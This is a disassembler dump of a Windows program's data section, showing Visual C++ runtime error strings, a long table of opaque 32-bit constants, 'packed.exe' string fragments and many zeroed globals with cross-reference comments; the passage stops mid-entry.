aNull_0 db '(null)',0 ; DATA XREF: .data:off_4EF34Co align 10h aSunmontuewed_0 db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmarapr_0 db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 10h ; char aTz[] aTz db 'TZ',0 ; DATA XREF: __tzset_0+Ao align 4 ; char a__global_heap_[] a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_4CBD81+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_4CBD81+4Fo align 4 aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 10h aR6027NotEnou_0 db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnou_0 db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVir_0 db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnou_0 db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableT_0 db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpec_0 db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpec_0 db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnou_0 db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProg_0 db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnou_0 db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnou_0 db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002Floatin_0 db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_4EF6CCo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE_0+119o align 4 ; char asc_4F35C8[] asc_4F35C8 db 0Ah ; DATA XREF: __NMSG_WRITE_0+F1o db 0Ah,0 align 4 ; char aRuntimeError_0[] aRuntimeError_0 db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE_0+D3o db 0Ah db 'Program: ',0 align 4 ; char a____0[] a____0 db '...',0 ; DATA XREF: __NMSG_WRITE_0+BFo ; char aProgramNameU_0[] aProgramNameU_0 db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE_0+7Do align 4 dword_4F3604 dd 0 ; DATA XREF: ___crtGetStringTypeA_0+52o ; ___crtLCMapStringA_0+57o ... dword_4F3608 dd 2 dup(0) ; DATA XREF: ___crtGetStringTypeA_0+39o ; ___crtLCMapStringA_0+36o ... dword_4F3610 dd 0FFFFFFFFh, 4CD87Eh, 4CD882h ; DATA XREF: ___crtGetStringTypeA_0+5o aGetlastactiv_0 db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA_0+3Do align 10h aGetactivewin_0 db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA_0+35o aMessageboxa_0 db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA_0+24o aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA_0+Do align 4 dword_4F3658 dd 0FFFFFFFFh, 4CE66Ah, 4CE66Eh, 0FFFFFFFFh, 4CE71Eh, 4CE722h ; DATA XREF: ___crtLCMapStringA_0+5o dword_4F3670 dd 0FFFFFFFFh, 4CEAAEh, 4CEAB2h, 0FFFFFFFFh, 4CEB1Dh, 4CEB21h ; DATA XREF: ___crtCompareStringA_0+5o dword_4F3688 dd 0FFFFFFFFh, 4CF4C4h, 4CF4C8h, 0FFFFFFFFh, 4CF541h, 4CF545h ; DATA XREF: ___crtLCMapStringW_0+5o dword_4F36A0 dd 0FFFFFFFFh, 4CF739h, 4CF73Dh, 0FFFFFFFFh, 4CF796h, 4CF79Ah ; DATA XREF: ___crtGetStringTypeW_0+5o byte_4F36B8 db 0 ; DATA XREF: sub_48EAE0+7w ; sub_48EAE0+89w ... align 4 dword_4F36BC dd 0 ; DATA XREF: .text:004905F1r ; .text:004905F9r ... dword_4F36C0 dd 0 ; DATA XREF: sub_490893+31w ; sub_4908CE+1Ar ... dword_4F36C4 dd 0 ; DATA XREF: sub_490743+20w ; sub_4907D5+58r ... byte_4F36C8 db 0 ; DATA XREF: .text:004905ACr ; .text:004906C1r ... align 4 dword_4F36CC dd 0 ; DATA XREF: .text:00490665r ; .text:00490696r ... dword_4F36D0 dd 0 ; DATA XREF: sub_490743+6w ; sub_490743+Br ... dword_4F36D4 dd 0 ; DATA XREF: sub_490743+11w ; sub_490743+17r ... byte_4F36D8 db 0 ; DATA XREF: sub_490743+26w ; sub_4907D5+2Er ... align 4 dword_4F36DC dd 0 ; DATA XREF: .text:0049061Cr ; .text:00490645r ... dword_4F36E0 dd 0 ; DATA XREF: .text:004905D7r ; sub_490893+19w ... byte_4F36E4 db 0 ; DATA XREF: sub_490743+39w ; sub_490743+4Aw ... align 4 dword_4F36E8 dd 11A008AEh ; DATA XREF: sub_4965D8+14w ; sub_4A363D+97r ... dword_4F36EC dd 11A3FC9Eh ; DATA XREF: sub_4965D8+2Aw dword_4F36F0 dd 958AD1F8h ; DATA XREF: sub_4965D8+41w dword_4F36F4 dd 0FB8726F7h ; DATA XREF: sub_4965D8+58w dword_4F36F8 dd 0A8283A93h ; DATA XREF: sub_4965D8+6Ew dword_4F36FC dd 2BF49A3Dh ; DATA XREF: sub_4965D8+85w dword_4F3700 dd 0A64707A0h ; DATA XREF: sub_4965D8+9Cw dword_4F3704 dd 0D6846EF4h ; DATA XREF: sub_4965D8+B2w dword_4F3708 dd 0AA8BF833h ; DATA XREF: sub_4965D8+C9w dword_4F370C dd 0C4F44118h ; DATA XREF: sub_4965D8+E0w dword_4F3710 dd 0E3309650h ; DATA XREF: sub_4965D8+F6w dword_4F3714 dd 4DAB9ABAh ; DATA XREF: sub_4965D8+10Dw dword_4F3718 dd 0F3E931B3h ; DATA XREF: sub_4965D8+124w dword_4F371C dd 91A7E26Fh ; DATA XREF: sub_4965D8+13Aw dword_4F3720 dd 74B01D59h ; DATA XREF: sub_4965D8+151w dword_4F3724 dd 0BADDFF0Fh ; DATA XREF: sub_4965D8+168w dword_4F3728 dd 32F8C07Fh ; DATA XREF: sub_4965D8+17Ew dword_4F372C dd 98256840h ; DATA XREF: sub_4965D8+195w dword_4F3730 dd 0EE923475h ; DATA XREF: sub_4965D8+1ACw dword_4F3734 dd 69A517D5h ; DATA XREF: sub_4965D8+1C2w dword_4F3738 dd 9D8144Bh ; DATA XREF: sub_4965D8+1D9w dword_4F373C dd 172E283Ah ; DATA XREF: sub_4965D8+1F0w dword_4F3740 dd 63C537F1h ; DATA XREF: sub_4965D8+206w dword_4F3744 dd 0C097BD34h ; DATA XREF: sub_4965D8+21Dw dword_4F3748 dd 56AD56B6h ; DATA XREF: sub_4965D8+234w dword_4F374C dd 9A4A961Ch ; DATA XREF: sub_4965D8+24Aw dword_4F3750 dd 0B1A591FDh ; DATA XREF: sub_4965D8+261w dword_4F3754 dd 87F85EB1h ; DATA XREF: sub_4965D8+278w dword_4F3758 dd 0BA863416h ; DATA XREF: sub_4965D8+28Ew dword_4F375C dd 834B7EC2h ; DATA XREF: sub_4965D8+2A5w dword_4F3760 dd 11A0042Eh ; DATA XREF: sub_4965D8+2BCw dword_4F3764 dd 84635F37h ; DATA XREF: sub_4965D8+2D2w dword_4F3768 dd 84637034h ; DATA XREF: sub_4965D8+2E9w dword_4F376C dd 0EA6EEE95h ; DATA XREF: sub_4965D8+300w dword_4F3770 dd 0B9C29C7Fh ; DATA XREF: sub_4965D8+316w dword_4F3774 dd 3A1EF194h ; DATA XREF: sub_4965D8+32Dw dword_4F3778 dd 0B7AD66C8h ; DATA XREF: sub_4965D8+344w dword_4F377C dd 0C76D6A37h ; DATA XREF: sub_4965D8+35Aw dword_4F3780 dd 0BB625D9Bh ; DATA XREF: sub_4965D8+371w dword_4F3784 dd 0D51D2736h ; DATA XREF: sub_4965D8+388w dword_4F3788 dd 0F2D98B77h ; DATA XREF: sub_4965D8+39Ew dword_4F378C dd 5C42A28Dh ; DATA XREF: sub_4965D8+3B5w dword_4F3790 dd 0E200903Fh ; DATA XREF: sub_4965D8+3CCw dword_4F3794 dd 804DA5E0h ; DATA XREF: sub_4965D8+3E2w dword_4F3798 dd 65595383h ; DATA XREF: sub_4965D8+3F9w dword_4F379C dd 0AB340577h ; DATA XREF: sub_4965D8+410w dword_4F37A0 dd 2312F139h ; DATA XREF: sub_4965D8+426w dword_4F37A4 dd 89CCA513h ; DATA XREF: sub_4965D8+43Dw dword_4F37A8 dd 0FF7BBE5Ch ; DATA XREF: sub_4965D8+454w dword_4F37AC dd 784C7188h ; DATA XREF: sub_4965D8+46Aw dword_4F37B0 dd 18326DB4h ; DATA XREF: sub_4965D8+481w dword_4F37B4 dd 6C7FED9h ; DATA XREF: sub_4965D8+498w dword_4F37B8 dd 722CAADFh ; DATA XREF: sub_4965D8+4AEw dword_4F37BC dd 0D17E463Eh ; DATA XREF: sub_4965D8+4C5w dword_4F37C0 dd 474702B3h ; DATA XREF: sub_4965D8+4DCw dword_4F37C4 dd 8BA34DD8h ; DATA XREF: sub_4965D8+4F2w dword_4F37C8 dd 0A04F1BD3h ; DATA XREF: sub_4965D8+509w dword_4F37CC dd 9611AA5Dh ; DATA XREF: sub_4965D8+520w dword_4F37D0 dd 0AB6FE677h ; DATA XREF: sub_4965D8+536w dword_4F37D4 dd 92A14707h ; DATA XREF: sub_4965D8+54Dw dword_4F37D8 dd 958AEFAAh ; DATA XREF: sub_4965D8+564w dword_4F37DC dd 84635C0Ch ; DATA XREF: sub_4965D8+57Aw dword_4F37E0 dd 6E47B60Ah ; DATA XREF: sub_4965D8+591w dword_4F37E4 dd 6E47C43Ch ; DATA XREF: sub_4965D8+5A8w dword_4F37E8 dd 3DEBA709h ; DATA XREF: sub_4965D8+5BEw dword_4F37EC dd 0BE344247h ; DATA XREF: sub_4965D8+5D5w dword_4F37F0 dd 3387EFFCh ; DATA XREF: sub_4965D8+5ECw dword_4F37F4 dd 43474122h ; DATA XREF: sub_4965D8+602w dword_4F37F8 dd 3F484873h ; DATA XREF: sub_4965D8+619w dword_4F37FC dd 5134A51Ah ; DATA XREF: sub_4965D8+630w dword_4F3800 dd 76F370BCh ; DATA XREF: sub_4965D8+646w dword_4F3804 dd 0D8680641h ; DATA XREF: sub_4965D8+65Dw dword_4F3808 dd 662A57FBh ; DATA XREF: sub_4965D8+674w dword_4F380C dd 4677E18h ; DATA XREF: sub_4965D8+68Aw dword_4F3810 dd 0E17318D1h ; DATA XREF: sub_4965D8+6A1w dword_4F3814 dd 2F1E0239h ; DATA XREF: sub_4965D8+6B8w dword_4F3818 dd 0A73BAA08h ; DATA XREF: sub_4965D8+6CEw dword_4F381C dd 0DE6EA20h ; DATA XREF: sub_4965D8+6E5w dword_4F3820 dd 7B513D0Dh ; DATA XREF: sub_4965D8+6FCw dword_4F3824 dd 0FC656A5Ch ; DATA XREF: sub_4965D8+712w dword_4F3828 dd 9C1B23D8h ; DATA XREF: sub_4965D8+729w dword_4F382C dd 82ED5F26h ; DATA XREF: sub_4965D8+740w dword_4F3830 dd 0F60634EEh ; DATA XREF: sub_4965D8+756w dword_4F3834 dd 55577D61h ; DATA XREF: sub_4965D8+76Dw dword_4F3838 dd 0C36E7BADh ; DATA XREF: sub_4965D8+784w dword_4F383C dd 0F8A4FD5h ; DATA XREF: sub_4965D8+79Aw dword_4F3840 dd 24662D5Ah ; DATA XREF: sub_4965D8+7B1w dword_4F3844 dd 1238B43Fh ; DATA XREF: sub_4965D8+7C8w dword_4F3848 dd 2F45089Ah ; DATA XREF: sub_4965D8+7DEw dword_4F384C dd 1688E1E7h ; DATA XREF: sub_4965D8+7F5w dword_4F3850 dd 0FB84832Ch ; DATA XREF: sub_4965D8+80Cw dword_4F3854 dd 0EA6D65B0h ; DATA XREF: sub_4965D8+822w dword_4F3858 dd 6E47E5D4h ; DATA XREF: sub_4965D8+839w dword_4F385C dd 53E5F3DBh ; DATA XREF: sub_4965D8+850w dword_4F3860 dd 53E5A221h ; DATA XREF: sub_4965D8+866w dword_4F3864 dd 0D03A2C9Bh ; DATA XREF: sub_4965D8+87Dw dword_4F3868 dd 5D8A19CAh ; DATA XREF: sub_4965D8+894w dword_4F386C dd 2D491BD0h ; DATA XREF: sub_4965D8+8AAw dword_4F3870 dd 5146BD75h ; DATA XREF: sub_4965D8+8C1w dword_4F3874 dd 3F392DC3h ; DATA XREF: sub_4965D8+8D8w dword_4F3878 dd 18FD9BCDh ; DATA XREF: sub_4965D8+8EEw dword_4F387C dd 0B6665AEAh ; DATA XREF: sub_4965D8+905w dword_4F3880 dd 8241B14h ; DATA XREF: sub_4965D8+91Cw dword_4F3884 dd 6A6A1065h ; DATA XREF: sub_4965D8+932w dword_4F3888 dd 8F7D7AA2h ; DATA XREF: sub_4965D8+949w dword_4F388C dd 4110CCA0h ; DATA XREF: sub_4965D8+960w dword_4F3890 dd 0C9361DC9h ; DATA XREF: sub_4965D8+976w dword_4F3894 dd 63EB8410h ; DATA XREF: sub_4965D8+98Dw dword_4F3898 dd 155F517Ch ; DATA XREF: sub_4965D8+9A4w dword_4F389C dd 9268DFD1h ; DATA XREF: sub_4965D8+9BAw dword_4F38A0 dd 0F215216Ch ; DATA XREF: sub_4965D8+9D1w dword_4F38A4 dd 0ECE3EEC1h ; DATA XREF: sub_4965D8+9E8w dword_4F38A8 dd 980860EBh ; DATA XREF: sub_4965D8+9FEw dword_4F38AC dd 3B5AC0EEh ; DATA XREF: sub_4965D8+A15w dword_4F38B0 dd 0AD6396E5h ; DATA XREF: sub_4965D8+A2Cw dword_4F38B4 dd 61870A62h ; DATA XREF: sub_4965D8+A42w dword_4F38B8 dd 4A6BFCACh ; DATA XREF: sub_4965D8+A59w dword_4F38BC dd 7C3562F5h ; DATA XREF: sub_4965D8+A70w dword_4F38C0 dd 414B5862h ; DATA XREF: sub_4965D8+A86w dword_4F38C4 dd 788651E2h ; DATA XREF: sub_4965D8+A9Dw dword_4F38C8 dd 0A82B7118h ; DATA XREF: sub_4965D8+AB4w dword_4F38CC dd 0B9C2B63Eh ; DATA XREF: sub_4965D8+ACAw dword_4F38D0 dd 3DE86B9Fh ; DATA XREF: sub_4965D8+AE1w dword_4F38D4 dd 53E5BC02h ; DATA XREF: sub_4965D8+AF8w dword_4F38D8 dd 8395F99Ch ; DATA XREF: sub_4965D8+B0Ew dword_4F38DC dd 83968F06h ; DATA XREF: sub_4965D8+B25w dword_4F38E0 dd 0E267A89h ; DATA XREF: sub_4965D8+B3Cw dword_4F38E4 dd 7EE52853h ; DATA XREF: sub_4965D8+B52w dword_4F38E8 dd 2EA91BEh ; DATA XREF: sub_4965D8+B69w dword_4F38EC dd 6C96C639h ; DATA XREF: sub_4965D8+B80w dword_4F38F0 dd 4B52A5F4h ; DATA XREF: sub_4965D8+B96w dword_4F38F4 dd 0E5CA4400h ; DATA XREF: sub_4965D8+BADw dword_4F38F8 dd 5B8B8CD9h ; DATA XREF: sub_4965D8+BC4w dword_4F38FC dd 39C6F55Bh ; DATA XREF: sub_4965D8+BDAw dword_4F3900 dd 0DCD2BBE7h ; DATA XREF: sub_4965D8+BF1w dword_4F3904 dd 12BCD95Dh ; DATA XREF: sub_4965D8+C08w dword_4F3908 dd 9A99D450h ; DATA XREF: sub_4965D8+C1Ew dword_4F390C dd 30445F3Ch ; DATA XREF: sub_4965D8+C35w dword_4F3910 dd 46F30899h ; DATA XREF: sub_4965D8+C4Cw dword_4F3914 dd 0C1C711D5h ; DATA XREF: sub_4965D8+C62w dword_4F3918 dd 0A1BAEA70h ; DATA XREF: sub_4965D8+C79w dword_4F391C dd 0BF4CDF18h ; DATA XREF: sub_4965D8+C90w dword_4F3920 dd 0CBA48B58h ; DATA XREF: sub_4965D8+CA6w dword_4F3924 dd 68F6D499h ; DATA XREF: sub_4965D8+CBDw dword_4F3928 dd 0FECF7D37h ; DATA XREF: sub_4965D8+CD4w dword_4F392C dd 322BF2AFh ; DATA XREF: sub_4965D8+CEAw dword_4F3930 dd 19C476FEh ; DATA XREF: sub_4965D8+D01w dword_4F3934 dd 2F9A9D8Eh ; DATA XREF: sub_4965D8+D18w dword_4F3938 dd 12E730DAh ; DATA XREF: sub_4965D8+D2Ew dword_4F393C dd 2B29F132h ; DATA XREF: sub_4965D8+D45w dword_4F3940 dd 2BF720A5h ; DATA XREF: sub_4965D8+D5Cw dword_4F3944 dd 3A1EAAE9h ; DATA XREF: sub_4965D8+D72w dword_4F3948 dd 0BE342A13h ; DATA XREF: sub_4965D8+D89w dword_4F394C dd 0D03A0A98h ; DATA XREF: sub_4965D8+DA0w dword_4F3950 dd 83964292h ; DATA XREF: sub_4965D8+DB6w dword_4F3954 dd 8DF9A5A9h ; DATA XREF: sub_4965D8+DCDw dword_4F3958 dd 8DFACF35h ; DATA XREF: sub_4965D8+DE4w dword_4F395C dd 0FD3ADA11h ; DATA XREF: sub_4965D8+DFAw dword_4F3960 dd 81369D30h ; DATA XREF: sub_4965D8+E11w dword_4F3964 dd 0EF492383h ; DATA XREF: sub_4965D8+E28w dword_4F3968 dd 0C88EC1BBh ; DATA XREF: sub_4965D8+E3Ew dword_4F396C dd 6615E79Bh ; DATA XREF: sub_4965D8+E55w dword_4F3970 dd 0D857F3A4h ; DATA XREF: sub_4965D8+E6Cw dword_4F3974 dd 0BA192B03h ; DATA XREF: sub_4965D8+E82w dword_4F3978 dd 5F0E8937h ; DATA XREF: sub_4965D8+E99w dword_4F397C dd 9163A50Fh ; DATA XREF: sub_4965D8+EB0w dword_4F3980 dd 1946588Eh ; DATA XREF: sub_4965D8+EC6w dword_4F3984 dd 0B39BF5ADh ; DATA XREF: sub_4965D8+EDDw dword_4F3988 dd 0C52F6403h ; DATA XREF: sub_4965D8+EF4w dword_4F398C dd 4218EA87h ; DATA XREF: sub_4965D8+F0Aw dword_4F3990 dd 22651A40h ; DATA XREF: sub_4965D8+F21w dword_4F3994 dd 3C933D25h ; DATA XREF: sub_4965D8+F38w dword_4F3998 dd 48781524h ; DATA XREF: sub_4965D8+F4Ew dword_4F399C dd 0EB295695h ; DATA XREF: sub_4965D8+F65w dword_4F39A0 dd 7D101ABDh ; DATA XREF: sub_4965D8+F7Cw dword_4F39A4 dd 0B1F442FDh ; DATA XREF: sub_4965D8+F92w dword_4F39A8 dd 9A1B2219h ; DATA XREF: sub_4965D8+FA9w dword_4F39AC dd 0AC454FC4h ; DATA XREF: sub_4965D8+FC0w dword_4F39B0 dd 9138F6E4h ; DATA XREF: sub_4965D8+FD6w dword_4F39B4 dd 0A8F5BF9Ch ; DATA XREF: sub_4965D8+FEDw dword_4F39B8 dd 0A644B942h ; DATA XREF: sub_4965D8+1004w dword_4F39BC dd 0B7AD158Dh ; DATA XREF: sub_4965D8+101Aw dword_4F39C0 dd 33879B26h ; DATA XREF: sub_4965D8+1031w dword_4F39C4 dd 5D899212h ; DATA XREF: sub_4965D8+1048w dword_4F39C8 dd 0E259137h ; DATA XREF: sub_4965D8+105Ew dword_4F39CC dd 8DFA71BAh ; DATA XREF: sub_4965D8+1075w dword_4F39D0 dd 70896B67h ; DATA XREF: sub_4965D8+108Cw dword_4F39D4 dd 7089A206h ; DATA XREF: sub_4965D8+10A2w dword_4F39D8 dd 0C86AE5Ch ; DATA XREF: sub_4965D8+10B9w dword_4F39DC dd 62F95DEBh ; DATA XREF: sub_4965D8+10D0w dword_4F39E0 dd 453EE49Dh ; DATA XREF: sub_4965D8+10E6w dword_4F39E4 dd 0EBA6303Fh ; DATA XREF: sub_4965D8+10FDw dword_4F39E8 dd 55E45E37h ; DATA XREF: sub_4965D8+1114w dword_4F39EC dd 37AABFDFh ; DATA XREF: sub_4965D8+112Aw dword_4F39F0 dd 0D2BD1F06h ; DATA XREF: sub_4965D8+1141w dword_4F39F4 dd 1CD3442Dh ; DATA XREF: sub_4965D8+1158w dword_4F39F8 dd 94F5AF29h ; DATA XREF: sub_4965D8+116Ew dword_4F39FC dd 3E28E0F6h ; DATA XREF: sub_4965D8+1185w dword_4F3A00 dd 489F627Fh ; DATA XREF: sub_4965D8+119Cw dword_4F3A04 dd 0CFA8C922h ; DATA XREF: sub_4965D8+11B2w dword_4F3A08 dd 0AFD6BD4Bh ; DATA XREF: sub_4965D8+11C9w dword_4F3A0C dd 0B1232DC4h ; DATA XREF: sub_4965D8+11E0w dword_4F3A10 dd 0C5C8E7DEh ; DATA XREF: sub_4965D8+11F6w dword_4F3A14 dd 6699747Eh ; DATA XREF: sub_4965D8+120Dw dword_4F3A18 dd 0F0A3C198h ; DATA XREF: sub_4965D8+1224w dword_4F3A1C dd 3C44789Ch ; DATA XREF: sub_4965D8+123Aw dword_4F3A20 dd 17A82F74h ; DATA XREF: sub_4965D8+1251w dword_4F3A24 dd 21F68BF5h ; DATA XREF: sub_4965D8+1268w dword_4F3A28 dd 1C88B067h ; DATA XREF: sub_4965D8+127Ew dword_4F3A2C dd 2546CAA6h ; DATA XREF: sub_4965D8+1295w dword_4F3A30 dd 0D687D4DEh ; DATA XREF: sub_4965D8+12ACw dword_4F3A34 dd 0C76D9F93h ; DATA XREF: sub_4965D8+12C2w dword_4F3A38 dd 43472608h ; DATA XREF: sub_4965D8+12D9w dword_4F3A3C dd 2D4AC21Ch ; DATA XREF: sub_4965D8+12F0w dword_4F3A40 dd 7EE57CACh ; DATA XREF: sub_4965D8+1306w dword_4F3A44 dd 0FD3AA72Ah ; DATA XREF: sub_4965D8+131Dw dword_4F3A48 dd 70891322h ; DATA XREF: sub_4965D8+1334w dword_4F3A4C dd 7C45C14Ch ; DATA XREF: sub_4965D8+134Aw dword_4F3A50 dd 7C463579h ; DATA XREF: sub_4965D8+1361w dword_4F3A54 dd 1239FF96h ; DATA XREF: sub_4965D8+1378w dword_4F3A58 dd 35FE1A5Fh ; DATA XREF: sub_4965D8+138Ew dword_4F3A5C dd 9B66CC6Dh ; DATA XREF: sub_4965D8+13A5w dword_4F3A60 dd 25271CF8h ; DATA XREF: sub_4965D8+13BCw dword_4F3A64 dd 47699DB0h ; DATA XREF: sub_4965D8+13D2w dword_4F3A68 dd 0A27D517Bh ; DATA XREF: sub_4965D8+13E9w dword_4F3A6C dd 6C13ABF7h ; DATA XREF: sub_4965D8+1400w dword_4F3A70 dd 0E4352231h ; DATA XREF: sub_4965D8+1416w dword_4F3A74 dd 4EEB6AF3h ; DATA XREF: sub_4965D8+142Dw dword_4F3A78 dd 385C32A0h ; DATA XREF: sub_4965D8+1444w dword_4F3A7C dd 0BF6827CDh ; DATA XREF: sub_4965D8+145Aw dword_4F3A80 dd 0DF15CAD0h ; DATA XREF: sub_4965D8+1471w dword_4F3A84 dd 0C1E3953Dh ; DATA XREF: sub_4965D8+1488w dword_4F3A88 dd 0B50B7BD6h ; DATA XREF: sub_4965D8+149Ew dword_4F3A8C dd 1659853Dh ; DATA XREF: sub_4965D8+14B5w dword_4F3A90 dd 8063521Eh ; DATA XREF: sub_4965D8+14CCw dword_4F3A94 dd 4C849CA5h ; DATA XREF: sub_4965D8+14E2w dword_4F3A98 dd 6768E2D7h ; DATA XREF: sub_4965D8+14F9w dword_4F3A9C dd 51358509h ; DATA XREF: sub_4965D8+1510w dword_4F3AA0 dd 6C4843DEh ; DATA XREF: sub_4965D8+1526w dword_4F3AA4 dd 55869771h ; DATA XREF: sub_4965D8+153Dw dword_4F3AA8 dd 0AA8BF6D6h ; DATA XREF: sub_4965D8+1554w dword_4F3AAC dd 0BB6244F3h ; DATA XREF: sub_4965D8+156Aw dword_4F3AB0 dd 3F486E2Dh ; DATA XREF: sub_4965D8+1581w dword_4F3AB4 dd 5146C125h ; DATA XREF: sub_4965D8+1598w dword_4F3AB8 dd 2EAFA9Dh ; DATA XREF: sub_4965D8+15AEw dword_4F3ABC dd 813698A1h ; DATA XREF: sub_4965D8+15C5w dword_4F3AC0 dd 0C864889h ; DATA XREF: sub_4965D8+15DCw dword_4F3AC4 dd 7C46931Ch ; DATA XREF: sub_4965D8+15F2w dword_4F3AC8 dd 6E35A83Ah ; DATA XREF: sub_4965D8+1609w dword_4F3ACC dd 6E365334h ; DATA XREF: sub_4965D8+1620w dword_4F3AD0 dd 49F22F05h ; DATA XREF: sub_4965D8+1636w dword_4F3AD4 dd 0E76949D7h ; DATA XREF: sub_4965D8+164Dw dword_4F3AD8 dd 0 ; DATA XREF: sub_4B331A+3o ; sub_4B3AA2:loc_4B3AD2r ... dword_4F3ADC dd 0 ; DATA XREF: sub_4B3AFF+94r ; sub_4B3AFF:loc_4B3BAEr ... dword_4F3AE0 dd 0 ; DATA XREF: sub_4B3AFF+5Cr align 8 dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) dword_4F3B00 dd 0ECh ; DATA XREF: sub_4B3E69+17r ; sub_4B4581+6w dword_4F3B04 dd 41h dup(0) ; DATA XREF: sub_4B3E69:loc_4B3EF6o ; sub_4B40C4+220o dword_4F3C08 dd 41h dup(0) ; DATA XREF: sub_4B40C4+238o ; wchar_t aPacked aPacked: ; DATA XREF: sub_4B3E69+40o ; sub_4B40C4+F1o unicode 0, <packed>,0 aE db 'e',0 aXe: unicode 0, <xe>,0 align 4 dd 7Ch dup(0) ; wchar_t aPacked_0 aPacked_0: ; DATA XREF: sub_4B40C4+109o unicode 0, <packed>,0 aE_0 db 'e',0 aXe_0: unicode 0, <xe>,0 aE_1 db 'e',0 aRPacked_exe: unicode 0, <r\packed.exe>,0 align 4 dd 75h dup(0) byte_4F411C db 1 ; DATA XREF: sub_4B36BD+37w ; sub_4B36BD:loc_4B3701r byte_4F411D db 1 ; DATA XREF: sub_4B36BD+Br ; sub_4B36BD+3Dw align 10h ; char byte_4F4120 byte_4F4120 db 0 ; DATA XREF: sub_4B3329:loc_4B351Br ; sub_4B3329:loc_4B3699o ... align 4 ; wchar_t word_4F4124 word_4F4124 dw 0 ; DATA XREF: sub_4B3329+74r ; sub_4B3329:loc_4B34FCo ... align 10h dword_4F4130 dd 1 ; DATA XREF: sub_4B45FB+4Fr ; sub_4B45FB+239r ... dword_4F4134 dd 0Ah ; DATA XREF: WinMain(x,x,x,x)+20w dword_4F4138 dd 14234Ah ; DATA XREF: sub_4B45FB+58r ; sub_4B45FB+66r ... dword_4F413C dd 400000h ; DATA XREF: WinMain(x,x,x,x)+31w dd 3 dup(0) dword_4F414C dd 0 ; DATA XREF: sub_4B45FB+242r dword_4F4150 dd 0 ; DATA XREF: .text:004B5FA9r ; .text:004B5FC0r dword_4F4154 dd 0AB35F3h ; DATA XREF: sub_4B45FB+1A4w ; .text:004B5DF9r ... dword_4F4158 dd 0AB9D16h ; DATA XREF: sub_4B45FB+19Bw ; .text:004B5DE0r ... ; char byte_4F415C[] byte_4F415C db 100h dup(0) ; DATA XREF: sub_4B45FB+232o ; WinMain(x,x,x,x)+19Co ... dword_4F425C dd 40h dup(0) ; DATA XREF: sub_4B60E5:loc_4B6103o byte_4F435C db 0 ; DATA XREF: .text:004B5CB4w ; .text:004B8D6Ar align 10h dword_4F4360 dd 0 ; DATA XREF: .text:004B5F72r ; .text:004B5F7Br ... dword_4F4364 dd 0A90000h ; DATA XREF: sub_4B45FB+FCr ; sub_4B45FB+122r ... dword_4F4368 dd 0ABDEDBh ; DATA XREF: sub_4B45FB+102r ; .text:004B5268w ... align 10h dword_4F4370 dd 0 ; DATA XREF: sub_4B45B1+3r ; sub_4B45FB+31w ... ; char byte_4F4374[] byte_4F4374 db 100h dup(0) ; DATA XREF: sub_4B45C2+3o ; sub_4B45FB+20Ao ... dword_4F4474 dd 77E60000h ; DATA XREF: sub_4B5E35+17w ; sub_4B5E35+21r dword_4F4478 dd 0 ; DATA XREF: sub_4B5E35+3r ; sub_4B5E35+2Dw ... align 10h dword_4F4480 dd 400000h ; DATA XREF: sub_4B45FB+186r ; sub_4B48AD+6r ... dword_4F4484 dd 0 ; DATA XREF: sub_4B45FB+224r ; sub_4B4965+190r ... byte_4F4488 db 0 ; DATA XREF: sub_4B45FB+1C8r ; sub_4B45FB+1E2r ... align 4 dword_4F448C dd 0 ; DATA XREF: sub_4B6C08+37w ; sub_4B6C08+1EFr ... dword_4F4490 dd 0 ; DATA XREF: sub_4B6C08+2Ew ; sub_4B6C08+1D6r ... dword_4F4494 dd 0 ; DATA XREF: sub_4B45E9+Bw ; sub_4B4965+6Cw ... dword_4F4498 dd 0 ; DATA XREF: sub_4B67B0+12r ; sub_4B67B0+1Ew ... dword_4F449C dd 0 ; DATA XREF: sub_4B6BB7+1Fw ; sub_4B6BB7+24r ... dword_4F44A0 dd 0 ; DATA XREF: sub_4B6828+2ABw ; sub_4B6828+2F5r ... byte_4F44A4 db 0 ; DATA XREF: sub_4B6C08+1Dw ; sub_4B6C08+115r ... byte_4F44A5 db 0 ; DATA XREF: sub_4B6C08+25w ; sub_4B7150+Er align 4 dword_4F44A8 dd 0 ; DATA XREF: sub_4B67B0+Ar ; sub_4B6C08+6Eo ... dword_4F44AC dd 0 ; DATA XREF: sub_4B6F14+1E7r ; sub_4B7150+57w byte_4F44B0 db 0 ; DATA XREF: 